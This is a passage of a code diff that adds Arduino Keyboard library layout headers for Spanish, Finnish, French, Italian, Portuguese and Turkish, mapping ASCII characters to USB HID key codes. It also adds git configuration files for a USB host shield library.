     111 + 0x07, // d
     112 + 0x08, // e
     113 + 0x09, // f
     114 + 0x0a, // g
     115 + 0x0b, // h
     116 + 0x0c, // i
     117 + 0x0d, // j
     118 + 0x0e, // k
     119 + 0x0f, // l
     120 + 0x10, // m
     121 + 0x11, // n
     122 + 0x12, // o
     123 + 0x13, // p
     124 + 0x14, // q
     125 + 0x15, // r
     126 + 0x16, // s
     127 + 0x17, // t
     128 + 0x18, // u
     129 + 0x19, // v
     130 + 0x1a, // w
     131 + 0x1b, // x
     132 + 0x1c, // y
     133 + 0x1d, // z
     134 + 0x2f|SHIFT, // {
     135 + 0x31|SHIFT, // |
     136 + 0x30|SHIFT, // }
     137 + 0x35|SHIFT, // ~
     138 + 0 // DEL
     139 +};
     140 +#endif
     141 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/es_es.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[256] PROGMEM;
     6 + 
     7 + 
     8 +#define SHIFT 0x80
     9 +#define ALTGR 0x40
     10 +const uint8_t _asciimap[256] =
     11 +{
     12 + 0x00, // NUL
     13 + 0x00, // SOH
     14 + 0x00, // STX
     15 + 0x00, // ETX
     16 + 0x00, // EOT
     17 + 0x00, // ENQ
     18 + 0x00, // ACK
     19 + 0x00, // BEL
     20 + 0x2a, // BS Backspace
     21 + 0x2b, // TAB Tab
     22 + 0x28, // LF Enter
     23 + 0x00, // VT
     24 + 0x00, // FF
     25 + 0x00, // CR
     26 + 0x00, // SO
     27 + 0x00, // SI
     28 + 0x00, // DEL
     29 + 0x00, // DC1
     30 + 0x00, // DC2
     31 + 0x00, // DC3
     32 + 0x00, // DC4
     33 + 0x00, // NAK
     34 + 0x00, // SYN
     35 + 0x00, // ETB
     36 + 0x00, // CAN
     37 + 0x00, // EM
     38 + 0x00, // SUB
     39 + 0x00, // ESC
     40 + 0x00, // FS
     41 + 0x00, // GS
     42 + 0x00, // RS
     43 + 0x00, // US
     44 + 0x2c, // ' ' (space)
     45 + 0x1e|SHIFT, // !
     46 + 0x1f|SHIFT, // "
     47 + 0x20|ALTGR, // #
     48 + 0x21|SHIFT, // $
     49 + 0x22|SHIFT, // %
     50 + 0x23|SHIFT, // &
     51 + 0x2d, // '
     52 + 0x25|SHIFT, // (
     53 + 0x26|SHIFT, // )
     54 + 0x30|SHIFT, // *
     55 + 0x30, // +
     56 + 0x36, // ,
     57 + 0x38, // -
     58 + 0x37, // .
     59 + 0x24|SHIFT, // /
     60 + 0x27, // 0
     61 + 0x1e, // 1
     62 + 0x1f, // 2
     63 + 0x20, // 3
     64 + 0x21, // 4
     65 + 0x22, // 5
     66 + 0x23, // 6
     67 + 0x24, // 7
     68 + 0x25, // 8
     69 + 0x26, // 9
     70 + 0x37|SHIFT, // :
     71 + 0x36|SHIFT, // ;
     72 + 0x03, // < //KEY_NON_US_100
     73 + 0x27|SHIFT, // =
     74 + 0x03|SHIFT, // > //KEY_NON_US_100 + SHIFT
     75 + 0x2d|SHIFT, // ?
     76 + 0x1f|ALTGR, // @
     77 + 0x04|SHIFT, // A
     78 + 0x05|SHIFT, // B
     79 + 0x06|SHIFT, // C
     80 + 0x07|SHIFT, // D
     81 + 0x08|SHIFT, // E
     82 + 0x09|SHIFT, // F
     83 + 0x0a|SHIFT, // G
     84 + 0x0b|SHIFT, // H
     85 + 0x0c|SHIFT, // I
     86 + 0x0d|SHIFT, // J
     87 + 0x0e|SHIFT, // K
     88 + 0x0f|SHIFT, // L
     89 + 0x10|SHIFT, // M
     90 + 0x11|SHIFT, // N
     91 + 0x12|SHIFT, // O
     92 + 0x13|SHIFT, // P
     93 + 0x14|SHIFT, // Q
     94 + 0x15|SHIFT, // R
     95 + 0x16|SHIFT, // S
     96 + 0x17|SHIFT, // T
     97 + 0x18|SHIFT, // U
     98 + 0x19|SHIFT, // V
     99 + 0x1a|SHIFT, // W
     100 + 0x1b|SHIFT, // X
     101 + 0x1c|SHIFT, // Y
     102 + 0x1d|SHIFT, // Z
     103 + 0x2f|ALTGR, // [
     104 + 0x35|ALTGR, // bslash
     105 + 0x30|ALTGR, // ]
     106 + 0x2f|SHIFT, // ^
     107 + 0x38|SHIFT, // _
     108 + 0x2f, // `
     109 + 0x04, // a
     110 + 0x05, // b
     111 + 0x06, // c
     112 + 0x07, // d
     113 + 0x08, // e
     114 + 0x09, // f
     115 + 0x0a, // g
     116 + 0x0b, // h
     117 + 0x0c, // i
     118 + 0x0d, // j
     119 + 0x0e, // k
     120 + 0x0f, // l
     121 + 0x10, // m
     122 + 0x11, // n
     123 + 0x12, // o
     124 + 0x13, // p
     125 + 0x14, // q
     126 + 0x15, // r
     127 + 0x16, // s
     128 + 0x17, // t
     129 + 0x18, // u
     130 + 0x19, // v
     131 + 0x1a, // w
     132 + 0x1b, // x
     133 + 0x1c, // y
     134 + 0x1d, // z
     135 + 0x34|ALTGR, // {
     136 + 0x1e|ALTGR, // |
     137 + 0x32|ALTGR, // }
     138 + 0x21|ALTGR, // ~
     139 + 0x00, // DEL
     140 + 0x00, // Ç Start extended ASCII
     141 + 0x00,
     142 + 0x00,
     143 + 0x00,
     144 + 0x00,
     145 + 0x00,
     146 + 0x00,
     147 + 0x00, // ç
     148 + 0x00,
     149 + 0x00,
     150 + 0x00,
     151 + 0x00,
     152 + 0x00,
     153 + 0x00,
     154 + 0x00,
     155 + 0x00,
     156 + 0x00,
     157 + 0x00,
     158 + 0x00,
     159 + 0x00,
     160 + 0x00,
     161 + 0x00,
     162 + 0x00,
     163 + 0x00,
     164 + 0x00,
     165 + 0x00,
     166 + 0x00,
     167 + 0x00,
     168 + 0x00,
     169 + 0x00,
     170 + 0x00,
     171 + 0x00,
     172 + 0x00,
     173 + 0x00,
     174 + 0x00,
     175 + 0x00,
     176 + 0x33, // ñ
     177 + 0x33|SHIFT, // Ñ
     178 + 0x00,
     179 + 0x00,
     180 + 0x2e|SHIFT, // ¿
     181 + 0x00,
     182 + 0x00,
     183 + 0x00,
     184 + 0x00,
     185 + 0x2e, // ¡
     186 + 0x00,
     187 + 0x00,
     188 + 0x00,
     189 + 0x00,
     190 + 0x00,
     191 + 0x00,
     192 + 0x00,
     193 + 0x00,
     194 + 0x00,
     195 + 0x00,
     196 + 0x00,
     197 + 0x00,
     198 + 0x00,
     199 + 0x00,
     200 + 0x00,
     201 + 0x00,
     202 + 0x00,
     203 + 0x00,
     204 + 0x00,
     205 + 0x00,
     206 + 0x00,
     207 + 0x00,
     208 + 0x00,
     209 + 0x00,
     210 + 0x00,
     211 + 0x00,
     212 + 0x00,
     213 + 0x00,
     214 + 0x00,
     215 + 0x00,
     216 + 0x00,
     217 + 0x00,
     218 + 0x00,
     219 + 0x00,
     220 + 0x00,
     221 + 0x00,
     222 + 0x00,
     223 + 0x00,
     224 + 0x00,
     225 + 0x00,
     226 + 0x00,
     227 + 0x00,
     228 + 0x00,
     229 + 0x00,
     230 + 0x00,
     231 + 0x00,
     232 + 0x00,
     233 + 0x00,
     234 + 0x00,
     235 + 0x00,
     236 + 0x00,
     237 + 0x00,
     238 + 0x00,
     239 + 0x00,
     240 + 0x00,
     241 + 0x00,
     242 + 0x00,
     243 + 0x00,
     244 + 0x00,
     245 + 0x00,
     246 + 0x00,
     247 + 0x00,
     248 + 0x00,
     249 + 0x00,
     250 + 0x00,
     251 + 0x00,
     252 + 0x00,
     253 + 0x00,
     254 + 0x00,
     255 + 0x00,
     256 + 0x00,
     257 + 0x00,
     258 + 0x00,
     259 + 0x00,
     260 + 0x00,
     261 + 0x00,
     262 + 0x00,
     263 + 0x00,
     264 + 0x00,
     265 + 0x00,
     266 + 0x00,
     267 + 0x00,
     268 +};
     269 +#endif
     270 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/fi_fi.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[128] PROGMEM;
     6 + 
     7 +#define SHIFT 0x80
     8 +const uint8_t _asciimap[128] =
     9 +{
     10 + 0x00, // NUL
     11 + 0x00, // SOH
     12 + 0x00, // STX
     13 + 0x00, // ETX
     14 + 0x00, // EOT
     15 + 0x00, // ENQ
     16 + 0x00, // ACK
     17 + 0x00, // BEL
     18 + 0x2a, // BS Backspace
     19 + 0x2b, // TAB Tab
     20 + 0x28, // LF Enter
     21 + 0x00, // VT
     22 + 0x00, // FF
     23 + 0x00, // CR
     24 + 0x00, // SO
     25 + 0x00, // SI
     26 + 0x00, // DEL
     27 + 0x00, // DC1
     28 + 0x00, // DC2
     29 + 0x00, // DC3
     30 + 0x00, // DC4
     31 + 0x00, // NAK
     32 + 0x00, // SYN
     33 + 0x00, // ETB
     34 + 0x00, // CAN
     35 + 0x00, // EM
     36 + 0x00, // SUB
     37 + 0x00, // ESC
     38 + 0x00, // FS
     39 + 0x00, // GS
     40 + 0x00, // RS
     41 + 0x00, // US
     42 + 
     43 + 0x2c, // ' '
     44 + 0x1e|SHIFT, // !
     45 + 0x1f|SHIFT, // "
     46 + 0x20|SHIFT, // #
     47 + 0x21, // $
     48 + 0x22|SHIFT, // %
     49 + 0x23|SHIFT, // &
     50 + 0x31, // '
     51 + 0x25|SHIFT, // (
     52 + 0x26|SHIFT, // )
     53 + 0x31|SHIFT, // *
     54 + 0x2d, // +
     55 + 0x36, // ,
     56 + 0x38, // -
     57 + 0x37, // .
     58 + 0x24|SHIFT, // /
     59 + 0x27, // 0
     60 + 0x1e, // 1
     61 + 0x1f, // 2
     62 + 0x20, // 3
     63 + 0x21, // 4
     64 + 0x22, // 5
     65 + 0x23, // 6
     66 + 0x24, // 7
     67 + 0x25, // 8
     68 + 0x26, // 9
     69 + 0x37|SHIFT, // :
     70 + 0x36|SHIFT, // ;
     71 + 0x64, // <
     72 + 0x27|SHIFT, // =
     73 + 0x64|SHIFT, // >
     74 + 0x2d|SHIFT, // ?
     75 + 0x1f, // @
     76 + 0x04|SHIFT, // A
     77 + 0x05|SHIFT, // B
     78 + 0x06|SHIFT, // C
     79 + 0x07|SHIFT, // D
     80 + 0x08|SHIFT, // E
     81 + 0x09|SHIFT, // F
     82 + 0x0a|SHIFT, // G
     83 + 0x0b|SHIFT, // H
     84 + 0x0c|SHIFT, // I
     85 + 0x0d|SHIFT, // J
     86 + 0x0e|SHIFT, // K
     87 + 0x0f|SHIFT, // L
     88 + 0x10|SHIFT, // M
     89 + 0x11|SHIFT, // N
     90 + 0x12|SHIFT, // O
     91 + 0x13|SHIFT, // P
     92 + 0x14|SHIFT, // Q
     93 + 0x15|SHIFT, // R
     94 + 0x16|SHIFT, // S
     95 + 0x17|SHIFT, // T
     96 + 0x18|SHIFT, // U
     97 + 0x19|SHIFT, // V
     98 + 0x1a|SHIFT, // W
     99 + 0x1b|SHIFT, // X
     100 + 0x1c|SHIFT, // Y
     101 + 0x1d|SHIFT, // Z
     102 + 0x25, // [
     103 + 0x2d, // bslash
     104 + 0x26, // ]
     105 + 0x23, // ^
     106 + 0x38|SHIFT, // _
     107 + 0x2d|SHIFT, // `
     108 + 0x04, // a
     109 + 0x05, // b
     110 + 0x06, // c
     111 + 0x07, // d
     112 + 0x08, // e
     113 + 0x09, // f
     114 + 0x0a, // g
     115 + 0x0b, // h
     116 + 0x0c, // i
     117 + 0x0d, // j
     118 + 0x0e, // k
     119 + 0x0f, // l
     120 + 0x10, // m
     121 + 0x11, // n
     122 + 0x12, // o
     123 + 0x13, // p
     124 + 0x14, // q
     125 + 0x15, // r
     126 + 0x16, // s
     127 + 0x17, // t
     128 + 0x18, // u
     129 + 0x19, // v
     130 + 0x1a, // w
     131 + 0x1b, // x
     132 + 0x1c, // y
     133 + 0x1d, // z
     134 + 0x24, // {
     135 + 0x36, // |
     136 + 0x27, // }
     137 + 0x2d, // ~
     138 + 0 // DEL
     139 +};
     140 +#endif
     141 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/fr_fr.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[128] PROGMEM;
     6 + 
     7 +#define SHIFT 0x80
     8 +const uint8_t _asciimap[128] =
     9 +{
     10 + 0x00, // NUL
     11 + 0x00, // SOH
     12 + 0x00, // STX
     13 + 0x00, // ETX
     14 + 0x00, // EOT
     15 + 0x00, // ENQ
     16 + 0x00, // ACK
     17 + 0x00, // BEL
     18 + 0x2a, // BS Backspace
     19 + 0x2b, // TAB Tab
     20 + 0x28, // LF Enter
     21 + 0x00, // VT
     22 + 0x00, // FF
     23 + 0x00, // CR
     24 + 0x00, // SO
     25 + 0x00, // SI
     26 + 0x00, // DEL
     27 + 0x00, // DC1
     28 + 0x00, // DC2
     29 + 0x00, // DC3
     30 + 0x00, // DC4
     31 + 0x00, // NAK
     32 + 0x00, // SYN
     33 + 0x00, // ETB
     34 + 0x00, // CAN
     35 + 0x00, // EM
     36 + 0x00, // SUB
     37 + 0x00, // ESC
     38 + 0x00, // FS
     39 + 0x00, // GS
     40 + 0x00, // RS
     41 + 0x00, // US
     42 + 
     43 + 0x2c, // ' '
     44 + 0x38, // !
     45 + 0x20, // "
     46 + 0x20, // #
     47 + 0x30, // $
     48 + 0x34|SHIFT, // %
     49 + 0x1e, // &
     50 + 0x21, // '
     51 + 0x22, // (
     52 + 0x2d, // )
     53 + 0x31, // *
     54 + 0x2e|SHIFT, // +
     55 + 0x10, // ,
     56 + 0x23, // -
     57 + 0x36|SHIFT, // .
     58 + 0x37|SHIFT, // /
     59 + 0x27|SHIFT, // 0
     60 + 0x1e|SHIFT, // 1
     61 + 0x1f|SHIFT, // 2
     62 + 0x20|SHIFT, // 3
     63 + 0x21|SHIFT, // 4
     64 + 0x22|SHIFT, // 5
     65 + 0x23|SHIFT, // 6
     66 + 0x24|SHIFT, // 7
     67 + 0x25|SHIFT, // 8
     68 + 0x26|SHIFT, // 9
     69 + 0x37, // :
     70 + 0x36, // ;
     71 + 0x64, // <
     72 + 0x2e, // =
     73 + 0x64|SHIFT, // >
     74 + 0x10|SHIFT, // ?
     75 + 0x27, // @
     76 + 0x14|SHIFT, // A
     77 + 0x05|SHIFT, // B
     78 + 0x06|SHIFT, // C
     79 + 0x07|SHIFT, // D
     80 + 0x08|SHIFT, // E
     81 + 0x09|SHIFT, // F
     82 + 0x0a|SHIFT, // G
     83 + 0x0b|SHIFT, // H
     84 + 0x0c|SHIFT, // I
     85 + 0x0d|SHIFT, // J
     86 + 0x0e|SHIFT, // K
     87 + 0x0f|SHIFT, // L
     88 + 0x33|SHIFT, // M
     89 + 0x11|SHIFT, // N
     90 + 0x12|SHIFT, // O
     91 + 0x13|SHIFT, // P
     92 + 0x04|SHIFT, // Q
     93 + 0x15|SHIFT, // R
     94 + 0x16|SHIFT, // S
     95 + 0x17|SHIFT, // T
     96 + 0x18|SHIFT, // U
     97 + 0x19|SHIFT, // V
     98 + 0x1d|SHIFT, // W
     99 + 0x1b|SHIFT, // X
     100 + 0x1c|SHIFT, // Y
     101 + 0x1a|SHIFT, // Z
     102 + 0x22, // [
     103 + 0x25, // bslash
     104 + 0x2d, // ]
     105 + 0x26, // ^
     106 + 0x25, // _
     107 + 0x24, // `
     108 + 0x14, // a
     109 + 0x05, // b
     110 + 0x06, // c
     111 + 0x07, // d
     112 + 0x08, // e
     113 + 0x09, // f
     114 + 0x0a, // g
     115 + 0x0b, // h
     116 + 0x0c, // i
     117 + 0x0d, // j
     118 + 0x0e, // k
     119 + 0x0f, // l
     120 + 0x33, // m
     121 + 0x11, // n
     122 + 0x12, // o
     123 + 0x13, // p
     124 + 0x04, // q
     125 + 0x15, // r
     126 + 0x16, // s
     127 + 0x17, // t
     128 + 0x18, // u
     129 + 0x19, // v
     130 + 0x1d, // w
     131 + 0x1b, // x
     132 + 0x1c, // y
     133 + 0x1a, // z
     134 + 0x21, // {
     135 + 0x23, // |
     136 + 0x2e, // }
     137 + 0x1f, // ~
     138 + 0 // DEL
     139 +};
     140 +#endif
     141 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/it_it.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[128] PROGMEM;
     6 + 
     7 +#define SHIFT 0x80
     8 +const uint8_t _asciimap[128] =
     9 +{
     10 + 0x00, // NUL
     11 + 0x00, // SOH
     12 + 0x00, // STX
     13 + 0x00, // ETX
     14 + 0x00, // EOT
     15 + 0x00, // ENQ
     16 + 0x00, // ACK
     17 + 0x00, // BEL
     18 + 0x2a, // BS Backspace
     19 + 0x2b, // TAB Tab
     20 + 0x28, // LF Enter
     21 + 0x00, // VT
     22 + 0x00, // FF
     23 + 0x00, // CR
     24 + 0x00, // SO
     25 + 0x00, // SI
     26 + 0x00, // DEL
     27 + 0x00, // DC1
     28 + 0x00, // DC2
     29 + 0x00, // DC3
     30 + 0x00, // DC4
     31 + 0x00, // NAK
     32 + 0x00, // SYN
     33 + 0x00, // ETB
     34 + 0x00, // CAN
     35 + 0x00, // EM
     36 + 0x00, // SUB
     37 + 0x00, // ESC
     38 + 0x00, // FS
     39 + 0x00, // GS
     40 + 0x00, // RS
     41 + 0x00, // US
     42 + 
     43 + 0x2c, // ' '
     44 + 0x1e|SHIFT, // !
     45 + 0x1f|SHIFT, // "
     46 + 0x34, // #
     47 + 0x21|SHIFT, // $
     48 + 0x22|SHIFT, // %
     49 + 0x23|SHIFT, // &
     50 + 0x2d, // '
     51 + 0x25|SHIFT, // (
     52 + 0x26|SHIFT, // )
     53 + 0x30|SHIFT, // *
     54 + 0x30, // +
     55 + 0x36, // ,
     56 + 0x38, // -
     57 + 0x37, // .
     58 + 0x24|SHIFT, // /
     59 + 0x27, // 0
     60 + 0x1e, // 1
     61 + 0x1f, // 2
     62 + 0x20, // 3
     63 + 0x21, // 4
     64 + 0x22, // 5
     65 + 0x23, // 6
     66 + 0x24, // 7
     67 + 0x25, // 8
     68 + 0x26, // 9
     69 + 0x37|SHIFT, // :
     70 + 0x36|SHIFT, // ;
     71 + 0x64, // <
     72 + 0x27|SHIFT, // =
     73 + 0x64|SHIFT, // >
     74 + 0x2d|SHIFT, // ?
     75 + 0x33, // @
     76 + 0x04|SHIFT, // A
     77 + 0x05|SHIFT, // B
     78 + 0x06|SHIFT, // C
     79 + 0x07|SHIFT, // D
     80 + 0x08|SHIFT, // E
     81 + 0x09|SHIFT, // F
     82 + 0x0a|SHIFT, // G
     83 + 0x0b|SHIFT, // H
     84 + 0x0c|SHIFT, // I
     85 + 0x0d|SHIFT, // J
     86 + 0x0e|SHIFT, // K
     87 + 0x0f|SHIFT, // L
     88 + 0x10|SHIFT, // M
     89 + 0x11|SHIFT, // N
     90 + 0x12|SHIFT, // O
     91 + 0x13|SHIFT, // P
     92 + 0x14|SHIFT, // Q
     93 + 0x15|SHIFT, // R
     94 + 0x16|SHIFT, // S
     95 + 0x17|SHIFT, // T
     96 + 0x18|SHIFT, // U
     97 + 0x19|SHIFT, // V
     98 + 0x1a|SHIFT, // W
     99 + 0x1b|SHIFT, // X
     100 + 0x1c|SHIFT, // Y
     101 + 0x1d|SHIFT, // Z
     102 + 0x2f, // [
     103 + 0x35, // bslash
     104 + 0x30, // ]
     105 + 0x2e|SHIFT, // ^
     106 + 0x38|SHIFT, // _
     107 + 0x39, // `
     108 + 0x04, // a
     109 + 0x05, // b
     110 + 0x06, // c
     111 + 0x07, // d
     112 + 0x08, // e
     113 + 0x09, // f
     114 + 0x0a, // g
     115 + 0x0b, // h
     116 + 0x0c, // i
     117 + 0x0d, // j
     118 + 0x0e, // k
     119 + 0x0f, // l
     120 + 0x10, // m
     121 + 0x11, // n
     122 + 0x12, // o
     123 + 0x13, // p
     124 + 0x14, // q
     125 + 0x15, // r
     126 + 0x16, // s
     127 + 0x17, // t
     128 + 0x18, // u
     129 + 0x19, // v
     130 + 0x1a, // w
     131 + 0x1b, // x
     132 + 0x1c, // y
     133 + 0x1d, // z
     134 + 0x2f|SHIFT, // {
     135 + 0x35|SHIFT, // |
     136 + 0x30|SHIFT, // }
     137 + 0x34, // ~
     138 + 0 // DEL
     139 +};
     140 +#endif
     141 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/pt_pt.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[128] PROGMEM;
     6 + 
     7 +#define SHIFT 0x80
     8 +const uint8_t _asciimap[128] =
     9 +{
     10 + 0x00, // NUL
     11 + 0x00, // SOH
     12 + 0x00, // STX
     13 + 0x00, // ETX
     14 + 0x00, // EOT
     15 + 0x00, // ENQ
     16 + 0x00, // ACK
     17 + 0x00, // BEL
     18 + 0x2a, // BS Backspace
     19 + 0x2b, // TAB Tab
     20 + 0x28, // LF Enter
     21 + 0x00, // VT
     22 + 0x00, // FF
     23 + 0x00, // CR
     24 + 0x00, // SO
     25 + 0x00, // SI
     26 + 0x00, // DEL
     27 + 0x00, // DC1
     28 + 0x00, // DC2
     29 + 0x00, // DC3
     30 + 0x00, // DC4
     31 + 0x00, // NAK
     32 + 0x00, // SYN
     33 + 0x00, // ETB
     34 + 0x00, // CAN
     35 + 0x00, // EM
     36 + 0x00, // SUB
     37 + 0x00, // ESC
     38 + 0x00, // FS
     39 + 0x00, // GS
     40 + 0x00, // RS
     41 + 0x00, // US
     42 + 0x2c, // ' '
     43 + 0x1e|SHIFT, // !
     44 + 0x1f|SHIFT, // "
     45 + 0x20|SHIFT, // #
     46 + 0x21|SHIFT, // $
     47 + 0x22|SHIFT, // %
     48 + 0x23|SHIFT, // &
     49 + 0x2d, // '
     50 + 0x25|SHIFT, // (
     51 + 0x26|SHIFT, // )
     52 + 0x2f|SHIFT, // *
     53 + 0x2f, // +
     54 + 0x36, // ,
     55 + 0x38, // -
     56 + 0x37, // .
     57 + 0x24|SHIFT, // /
     58 + 0x27, // 0
     59 + 0x1e, // 1
     60 + 0x1f, // 2
     61 + 0x20, // 3
     62 + 0x21, // 4
     63 + 0x22, // 5
     64 + 0x23, // 6
     65 + 0x24, // 7
     66 + 0x25, // 8
     67 + 0x26, // 9
     68 + 0x37|SHIFT, // :
     69 + 0x36|SHIFT, // ;
     70 + 0x64, // <
     71 + 0x27|SHIFT, // =
     72 + 0x64|SHIFT, // >
     73 + 0x2d|SHIFT, // ?
     74 + 0x1f, // @
     75 + 0x04|SHIFT, // A
     76 + 0x05|SHIFT, // B
     77 + 0x06|SHIFT, // C
     78 + 0x07|SHIFT, // D
     79 + 0x08|SHIFT, // E
     80 + 0x09|SHIFT, // F
     81 + 0x0a|SHIFT, // G
     82 + 0x0b|SHIFT, // H
     83 + 0x0c|SHIFT, // I
     84 + 0x0d|SHIFT, // J
     85 + 0x0e|SHIFT, // K
     86 + 0x0f|SHIFT, // L
     87 + 0x10|SHIFT, // M
     88 + 0x11|SHIFT, // N
     89 + 0x12|SHIFT, // O
     90 + 0x13|SHIFT, // P
     91 + 0x14|SHIFT, // Q
     92 + 0x15|SHIFT, // R
     93 + 0x16|SHIFT, // S
     94 + 0x17|SHIFT, // T
     95 + 0x18|SHIFT, // U
     96 + 0x19|SHIFT, // V
     97 + 0x1a|SHIFT, // W
     98 + 0x1b|SHIFT, // X
     99 + 0x1c|SHIFT, // Y
     100 + 0x1d|SHIFT, // Z
     101 + 0x25, // [
     102 + 0x35, // bslash
     103 + 0x26, // ]
     104 + 0x31|SHIFT, // ^
     105 + 0x38|SHIFT, // _
     106 + 0x30|SHIFT, // `
     107 + 0x04, // a
     108 + 0x05, // b
     109 + 0x06, // c
     110 + 0x07, // d
     111 + 0x08, // e
     112 + 0x09, // f
     113 + 0x0a, // g
     114 + 0x0b, // h
     115 + 0x0c, // i
     116 + 0x0d, // j
     117 + 0x0e, // k
     118 + 0x0f, // l
     119 + 0x10, // m
     120 + 0x11, // n
     121 + 0x12, // o
     122 + 0x13, // p
     123 + 0x14, // q
     124 + 0x15, // r
     125 + 0x16, // s
     126 + 0x17, // t
     127 + 0x18, // u
     128 + 0x19, // v
     129 + 0x1a, // w
     130 + 0x1b, // x
     131 + 0x1c, // y
     132 + 0x1d, // z
     133 + 0x24, // {
     134 + 0x35|SHIFT, // |
     135 + 0x27, // }
     136 + 0x31, // ~
     137 + 0 // DEL
     138 +};
     139 +#endif
     140 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/tr_tr.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[128] PROGMEM;
     6 + 
     7 +#define SHIFT 0x80
     8 +const uint8_t _asciimap[128] =
     9 +{
     10 + 0x00, // NUL
     11 + 0x00, // SOH
     12 + 0x00, // STX
     13 + 0x00, // ETX
     14 + 0x00, // EOT
     15 + 0x00, // ENQ
     16 + 0x00, // ACK
     17 + 0x00, // BEL
     18 + 0x2a, // BS Backspace
     19 + 0x2b, // TAB Tab
     20 + 0x28, // LF Enter
     21 + 0x00, // VT
     22 + 0x00, // FF
     23 + 0x00, // CR
     24 + 0x00, // SO
     25 + 0x00, // SI
     26 + 0x00, // DEL
     27 + 0x00, // DC1
     28 + 0x00, // DC2
     29 + 0x00, // DC3
     30 + 0x00, // DC4
     31 + 0x00, // NAK
     32 + 0x00, // SYN
     33 + 0x00, // ETB
     34 + 0x00, // CAN
     35 + 0x00, // EM
     36 + 0x00, // SUB
     37 + 0x00, // ESC
     38 + 0x00, // FS
     39 + 0x00, // GS
     40 + 0x00, // RS
     41 + 0x00, // US
     42 + 
     43 + 0x2c, // ' '
     44 + 0x1e|SHIFT, // !
     45 + 0x35, // "
     46 + 0x20, // #
     47 + 0x21, // $
     48 + 0x22|SHIFT, // %
     49 + 0x23|SHIFT, // &
     50 + 0x1f|SHIFT, // '
     51 + 0x25|SHIFT, // (
     52 + 0x26|SHIFT, // )
     53 + 0x2d, // *
     54 + 0x21|SHIFT, // +
     55 + 0x31, // ,
     56 + 0x2e, // -
     57 + 0x38, // .
     58 + 0x24|SHIFT, // /
     59 + 0x27, // 0
     60 + 0x1e, // 1
     61 + 0x1f, // 2
     62 + 0x20, // 3
     63 + 0x21, // 4
     64 + 0x22, // 5
     65 + 0x23, // 6
     66 + 0x24, // 7
     67 + 0x25, // 8
     68 + 0x26, // 9
     69 + 0x38|SHIFT, // :
     70 + 0x31|SHIFT, // ;
     71 + 0x64, // <
     72 + 0x27|SHIFT, // =
     73 + 0x64|SHIFT, // >
     74 + 0x2d|SHIFT, // ?
     75 + 0x14, // @
     76 + 0x04|SHIFT, // A
     77 + 0x05|SHIFT, // B
     78 + 0x06|SHIFT, // C
     79 + 0x07|SHIFT, // D
     80 + 0x08|SHIFT, // E
     81 + 0x09|SHIFT, // F
     82 + 0x0a|SHIFT, // G
     83 + 0x0b|SHIFT, // H
     84 + 0x0c|SHIFT, // I
     85 + 0x0d|SHIFT, // J
     86 + 0x0e|SHIFT, // K
     87 + 0x0f|SHIFT, // L
     88 + 0x10|SHIFT, // M
     89 + 0x11|SHIFT, // N
     90 + 0x12|SHIFT, // O
     91 + 0x13|SHIFT, // P
     92 + 0x14|SHIFT, // Q
     93 + 0x15|SHIFT, // R
     94 + 0x16|SHIFT, // S
     95 + 0x17|SHIFT, // T
     96 + 0x18|SHIFT, // U
     97 + 0x19|SHIFT, // V
     98 + 0x1a|SHIFT, // W
     99 + 0x1b|SHIFT, // X
     100 + 0x1c|SHIFT, // Y
     101 + 0x1d|SHIFT, // Z
     102 + 0x25, // [
     103 + 0x2d, // bslash
     104 + 0x26, // ]
     105 + 0x20|SHIFT, // ^
     106 + 0x2e|SHIFT, // _
     107 + 0x35, // ` //DOES NOT WORK
     108 + 0x04, // a
     109 + 0x05, // b
     110 + 0x06, // c
     111 + 0x07, // d
     112 + 0x08, // e
     113 + 0x09, // f
     114 + 0x0a, // g
     115 + 0x0b, // h
     116 + 0x34, // i
     117 + 0x0d, // j
     118 + 0x0e, // k
     119 + 0x0f, // l
     120 + 0x10, // m
     121 + 0x11, // n
     122 + 0x12, // o
     123 + 0x13, // p
     124 + 0x14, // q
     125 + 0x15, // r
     126 + 0x16, // s
     127 + 0x17, // t
     128 + 0x18, // u
     129 + 0x19, // v
     130 + 0x1a, // w
     131 + 0x1b, // x
     132 + 0x1c, // y
     133 + 0x1d, // z
     134 + 0x24, // {
     135 + 0x64, // |
     136 + 0x27, // }
     137 + 0x30, // ~
     138 + 0 // DEL
     139 +};
     140 +#endif
     141 + 
  • ■ ■ ■ ■ ■ ■
    libraries/USB_Host_Shield_2.0/.gitattributes
     1 +# Auto detect text files and perform LF normalization
     2 +* text=auto
     3 +* text eol=lf
     4 + 
     5 +# Custom for Visual Studio
     6 +*.cs diff=csharp
     7 +*.sln merge=union
     8 +*.csproj merge=union
     9 +*.vbproj merge=union
     10 +*.fsproj merge=union
     11 +*.dbproj merge=union
     12 + 
     13 +# Standard to msysgit
     14 +*.doc diff=astextplain
     15 +*.DOC diff=astextplain
     16 +*.docx diff=astextplain
     17 +*.DOCX diff=astextplain
     18 +*.dot diff=astextplain
     19 +*.DOT diff=astextplain
     20 +*.pdf diff=astextplain
     21 +*.PDF diff=astextplain
     22 +*.rtf diff=astextplain
     23 +*.RTF diff=astextplain
     24 + 
  • ■ ■ ■ ■ ■ ■
    libraries/USB_Host_Shield_2.0/.gitignore
     1 +*.bak
     2 +*.zip
     3 +*.rar
     4 +build/
  • ■ ■ ■ ■ ■ ■
    libraries/USB_Host_Shield_2.0/.gitmodules
     1 +[submodule "examples/testusbhostFAT/generic_storage"]
     2 + path = examples/testusbhostFAT/generic_storage
     3 + url = https://github.com/xxxajk/generic_storage
